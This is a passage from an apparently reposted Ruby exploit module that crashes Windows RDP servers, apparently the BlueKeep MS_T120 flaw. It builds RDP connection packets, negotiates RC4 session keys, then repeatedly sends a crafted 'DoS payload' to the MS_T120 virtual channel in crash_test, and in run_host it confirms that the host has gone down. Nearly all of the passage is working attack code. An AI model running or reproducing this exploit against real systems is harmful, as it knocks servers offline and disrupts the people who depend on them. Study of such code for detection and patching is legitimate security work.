    "\x17\x00" +                                                               # numberCapabilities: 23
    "\x00\x00" +                                                               # pad2Octets
    "\x01\x00" +                                                               # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
    "\x18\x00" +                                                               # lengthCapability: 24
    "\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +
    "\x00\x00\x00\x00" +
    "\x02\x00" +                                                               # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
    "\x1c\x00" +                                                               # lengthCapability: 28
    "\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +
    "\x01\x00\x00\x1a\x01\x00\x00\x00" +
    "\x03\x00" +                                                               # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
    "\x58\x00" +                                                               # lengthCapability: 88
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +
    "\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +
    "\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +
    "\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +
    "\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +
    "\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x0a\x00" +                                                               # capabilitySetType: 10 - ??
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x06\x00\x00\x00" +
    "\x07\x00" +                                                               # capabilitySetType: 7  - TSWINDOWACTIVATION_CAPABILITYSET
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x05\x00" +                                                               # capabilitySetType: 5  - TS_CONTROL_CAPABILITYSET
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x00\x00\x00\x00\x02\x00\x02\x00" +
    "\x08\x00" +                                                               # capabilitySetType: 8  - TS_POINTER_CAPABILITYSET
    "\x0a\x00" +                                                               # lengthCapability: 10
    "\x01\x00\x14\x00\x15\x00" +
    "\x09\x00" +                                                               # capabilitySetType: 9  - TS_SHARE_CAPABILITYSET
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x00\x00\x00\x00" +
    "\x0d\x00" +                                                               # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
    "\x58\x00" +                                                               # lengthCapability: 88
    "\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +
    "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
    "\x00\x00\x00\x00" +
    "\x0c\x00" +                                                               # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x01\x00\x00\x00" +
    "\x0e\x00" +                                                               # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x01\x00\x00\x00" +
    "\x10\x00" +                                                               # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
    "\x34\x00" +                                                               # lengthCapability: 52
    "\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +
    "\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +
    "\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +
    "\x0f\x00" +                                                               # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x01\x00\x00\x00" +
    "\x11\x00" +                                                               # capabilitySetType: ??
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x01\x00\x00\x00\x00\x28\x64\x00" +
    "\x14\x00" +                                                               # capabilitySetType: ??
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x01\x00\x00\x00\x00\x00\x00\x00" +
    "\x15\x00" +                                                               # capabilitySetType: ??
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x02\x00\x00\x00\x00\x0a\x00\x01" +
    "\x1a\x00" +                                                               # capabilitySetType: ??
    "\x08\x00" +                                                               # lengthCapability: 8
    "\xaf\x94\x00\x00" +
    "\x1c\x00" +                                                               # capabilitySetType: ??
    "\x0c\x00" +                                                               # lengthCapability: 12
    "\x12\x00\x00\x00\x00\x00\x00\x00" +
    "\x1b\x00" +                                                               # capabilitySetType: ??
    "\x06\x00" +                                                               # lengthCapability: 6
    "\x01\x00" +
    "\x1e\x00" +                                                               # capabilitySetType: ??
    "\x08\x00" +                                                               # lengthCapability: 8
    "\x01\x00\x00\x00" +
    "\x18\x00" +                                                               # capabilitySetType: ??
    "\x0b\x00" +                                                               # lengthCapability: 11
    "\x02\x00\x00\x00\x03\x0c\x00" +
    "\x1d\x00" +                                                               # capabilitySetType: ??
    "\x5f\x00" +                                                               # lengthCapability: 95
    "\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +
    "\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +
    "\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +
    "\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +
    "\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +
    "\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"

    ## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
    return(rdp_build_share_control_header(0x13, pdu))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
  ## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 /  2.2.14.1
  def pdu_client_synchronize(target_user = 0)    
    pdu = "\x01\x00" +                                                         # messageType: 1 SYNCMSGTYPE_SYNC
    [target_user].pack("S<")                                                   # targetUser, 16 bit, unsigned.

    ## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
    data_header = rdp_build_share_data_header(0x1f, pdu)

    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
    return(rdp_build_share_control_header(0x17, data_header))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
  ## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
  def pdu_client_control_cooperate()
    pdu = "\x04\x00" +                                                         # action: 4 - CTRLACTION_COOPERATE
    "\x00\x00" +                                                               # grantId: 0
    "\x00\x00\x00\x00"                                                         # controlId: 0

    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
    data_header = rdp_build_share_data_header(0x14, pdu)

    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
    return(rdp_build_share_control_header(0x17, data_header))
  end


  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
  ## Control Request - TC_CONTROL_PDU 2.2.1.16
  def pdu_client_control_request()

    pdu = "\x01\x00" +                                                         # action: 1 - CTRLACTION_REQUEST_CONTROL
    "\x00\x00" +                                                               # grantId: 0
    "\x00\x00\x00\x00"                                                         # controlId: 0

    ## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
    data_header = rdp_build_share_data_header(0x14, pdu)

    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
    return(rdp_build_share_control_header(0x17, data_header))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
  ## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
  def pdu_client_input_event_sychronize()
    pdu = "\x01\x00" +                                                         # numEvents: 1
    "\x00\x00" +                                                               # pad2Octets
    "\x00\x00\x00\x00" +                                                       # eventTime
    "\x00\x00" +                                                               # messageType: 0 - INPUT_EVENT_SYNC
  
    ## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
    "\x00\x00" +                                                               # pad2Octets
    "\x00\x00\x00\x00"                                                         # toggleFlags

    ## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
    data_header = rdp_build_share_data_header(0x1c, pdu)

    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
    return(rdp_build_share_control_header(0x17, data_header))
  end

  ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
  ## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
  def pdu_client_font_list()
    pdu = "\x00\x00" +                                                         # numberFonts: 0
    "\x00\x00" +                                                               # totalNumberFonts: 0
    "\x03\x00" +                                                               # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
    "\x32\x00"                                                                 # entrySize: 50

    ## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
    data_header = rdp_build_share_data_header(0x27, pdu)

    ## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
    return(rdp_build_share_control_header(0x17, data_header))
  end

  # ------------------------------------------------------------------------- #

  def crash_test(rc4enckey, hmackey)
    begin
      received = ""
      for i in 0..5
        received += rdp_recv()
      end
    rescue RdpCommunicationError
      # we don't care
    end

    vprint_status("Sending DoS payload")
    found = false
    for j in 0..15
      ## x86_payload:
      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))

      ## x64_payload:
      rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
    end
  end

  def produce_dos()
  
    unless(rdp_connection_initiation())
      vprint_status("Could not connect to RDP.")
      return(false)
    end
    
    vprint_status("Sending initial client data")
    received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))

    rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)

    vprint_status("Sending erect domain request")
    rdp_send(pdu_erect_domain_request())

    vprint_status("Sending attach user request")
    received = rdp_sendrecv(pdu_attach_user_request())

    user1 = received[9, 2].unpack("n").first

    [1003, 1004, 1005, 1006, 1007].each do | chan |
      rdp_sendrecv(pdu_channel_request(user1, chan))
    end

    ## 5.3.4 Client Random Value
    client_rand = ''
    32.times { client_rand << rand(0..255) }
    rcran = bytes_to_bignum(client_rand)

    vprint_status("Sending security exchange PDU")
    rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))

    ## We aren't decrypting anything at this point. Leave the variables here
    ## to make it easier to understand in the future.
    rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

    vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
    vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
    vprint_status("HMAC_KEY:    #{bin_to_hex(hmackey)}")
    vprint_status("SESS_BLOB:   #{bin_to_hex(sessblob)}")

    rc4enckey = RC4.new(rc4encstart)

    vprint_status("Sending client info PDU") # TODO
    pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
    received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))

    vprint_status("Received License packet")
    rdp_recv()

    vprint_status("Sending client confirm active PDU")
    rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))

    vprint_status("Sending client synchronize PDU")
    rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))

    vprint_status("Sending client control cooperate PDU")
    rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))

    vprint_status("Sending client control request control PDU")
    rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))

    vprint_status("Sending client input sychronize PDU")
    rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))

    vprint_status("Sending client font list PDU")
    rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))

    vprint_status("Sending close mst120 PDU")
    crash_test(rc4enckey, hmackey)

    vprint_status("Sending client disconnection PDU")
    rdp_send(rdp_build_data_tpdu("\x21\x80"))

    return(true)
  end

  # ------------------------------------------------------------------------- #

  def run_host(ip)
    ## Allow the run command to call the check command.
    begin
      if(open_connection())
        status = produce_dos()
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog("#{e.message}\n#{bt}")
    rescue RdpCommunicationError => e
      vprint_error("Error communicating RDP protocol.")
      status = Exploit::CheckCode::Unknown
    rescue Errno::ECONNRESET => e                                              # NLA?
      vprint_error("Connection reset, possible NLA is enabled.")
    rescue => e
      bt = e.backtrace.join("\n")
      vprint_error("Unexpected error: #{e.message}")
      vprint_line(bt)
      elog("#{e.message}\n#{bt}")
    ensure

      if(status == true)
        sleep(1)
        unless(open_connection())
          print_good("The host is crashed!")
        else
          print_bad("The DoS has been sent but the host is already connected!")
        end
      end

      disconnect()
    end
  end

end

Copyright ©2024 Exploitalert.